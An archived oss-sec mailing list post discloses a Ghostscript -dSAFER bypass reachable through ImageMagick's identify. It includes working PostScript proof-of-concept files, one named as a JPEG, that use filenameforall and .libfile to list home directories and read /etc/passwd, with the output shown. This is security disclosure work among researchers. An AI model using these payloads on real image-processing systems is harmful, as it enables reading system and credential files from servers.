oss-sec mailing list archives

Re: ImageMagick identify "d:" hangs


From: Tavis Ormandy <taviso () google com>
Date: Wed, 28 Sep 2016 13:52:36 -0700

On Wed, Sep 28, 2016 at 11:16 AM, Tavis Ormandy <taviso () google com> wrote:
On Tue, Sep 27, 2016 at 7:56 AM, Bob Friesenhahn
<bfriesen () simple dallas tx us> wrote:

On Tue, 27 Sep 2016, Jakub Wilk wrote:

* Bob Friesenhahn <bfriesen () simple dallas tx us>, 2016-09-27, 08:48:

From my own investigations, I used

 identify -debug all "d:"

and see that a temporary file is reported to be created and then the program hangs which no apparent CPU usage.


strace tells me that it waits for input on stdin.
This is a simpler way to make it "hang":

 identify -


This is what I expected was happening.  The main thing to investigate is if the "ImageTragick" patches distributions 
are using do protect against this possible issue as well.


You know, you reminded me that the pdf and/or the ps delegate probably
allows filesystem enumeration via filenameforall, as far as I know
that's permitted with -dSAFER. I think that's probably unexpected.

For example, if you try to identify a file like this, it will list
local usernames on stdout, I guess a real attack would have to encode
that in the output somehow, but I only know enough postscript to know
i'd rather write bf. Might be a fun exercise for masochistic hackers
though.

$ cat whatever.jpeg
%PDF-1.0
(/home/*) {==} 256 string filenameforall
$ identify whatever.jpeg
(/home/taviso)
identify.im6: Postscript delegate failed `whatever.jpeg': No such file
or directory @ error/pdf.c/ReadPDFImage/677.

Tavis.

Maybe I'm missing something, because .libfile also works, this seems
like free arbitrary file disclosure?

Here is the code I'm testing with (Note: I really don't know much
postscript - and I hate it).

$ cat test.ps
/dumpname {
    dup             % copy filename
    dup             % copy filename
    print           % print filename
    (\n) print      % print newline
    status          % stat filename
    {
        (stat succeeded\n) print
        ( ctime:) print
        64 string cvs print
        ( atime:) print
        64 string cvs print
        ( size:) print
        64 string cvs print
        ( blocks:) print
        64 string cvs print
        (\n) print
        (\n) print
    }{
        (unable to stat\n\n) print
    } ifelse
    .libfile        % open as library
    {
        (.libfile returned file\n\n) print
        64 string readstring
        pop         % discard result (should proably test)
        print
        (\n) print
    }{
        (.libfile returned string\n) print
        print
        (\n) print
    } ifelse
} def

(/etc/pass*) /dumpname load 256 string filenameforall

$ identify test.ps
/etc/passwd
stat succeeded
 ctime:1474998792 atime:1474998792 size:2662 blocks:8

.libfile returned file

root:x:0:0:root:/root:/bin/bash

It seems obvious you can manipulate the output based on this. I'd be
interested to hear why I'm wrong about this.

Tavis.


Current thread: